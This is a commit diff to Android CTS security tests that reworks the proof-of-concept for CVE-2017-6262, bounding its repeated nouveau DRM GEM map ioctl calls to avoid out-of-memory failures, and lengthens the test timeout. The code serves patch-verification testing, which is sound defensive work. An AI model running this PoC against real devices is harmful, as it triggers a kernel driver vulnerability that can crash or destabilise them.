Modifying test to fix OOM b/38045794 b/72326145

Test: successful run of modified CTS test
Bug:38045794
Bug:72326145
Change-Id: I11d24cc2633875cbac5339673f47b44e2796c614
diff --git a/hostsidetests/security/securityPatch/CVE-2017-6262/poc.c b/hostsidetests/security/securityPatch/CVE-2017-6262/poc.c
index 0042e0c..1637bd6 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-6262/poc.c
+++ b/hostsidetests/security/securityPatch/CVE-2017-6262/poc.c
@@ -88,39 +88,35 @@
   }
 }
 
-int looploop()
+void poc()
 {
   int fd;
+  const int MAX_MAPS = 10;
 
   fd = open(DRMDEV_NAME, O_RDWR);
   if (fd == -1) {
-    return -1;
+    return;
   }
 
-  if (drm_version(fd) == -1)
-    return -1;
+  if (drm_version(fd) == -1){
+    return;
+  }
 
   uint32_t handle = get_gem_map_handle(fd);
 
-  nouveau_gem_ioctl_map(fd, handle);
-  nouveau_gem_ioctl_map(fd, handle);
-  nouveau_gem_ioctl_map(fd, handle);
-  nouveau_gem_ioctl_map(fd, handle);
-  nouveau_gem_ioctl_map(fd, handle);
-  nouveau_gem_ioctl_map(fd, handle);
-  nouveau_gem_ioctl_map(fd, handle);
-  nouveau_gem_ioctl_map(fd, handle);
-  nouveau_gem_ioctl_map(fd, handle);
-  nouveau_gem_ioctl_map(fd, handle);
-
+  for(int i = 0; i < MAX_MAPS; i++){
+    nouveau_gem_ioctl_map(fd, handle);
+  }
   close(fd);
 
-  return 0;
+  return;
 }
 
 int main()
 {
-  while (1) {
-    looploop();
+  const int MAX_RUNS = 30000;
+
+  for(int i = 0; i < MAX_RUNS; i++) {
+    poc();
   }
 }
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_12.java b/hostsidetests/security/src/android/security/cts/Poc17_12.java
index 890ff27..799e0b6 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_12.java
@@ -27,7 +27,7 @@
   @SecurityTest
   public void testPocCVE_2017_6262() throws Exception {
     if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 600);
+      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 900);
     }
   }
 }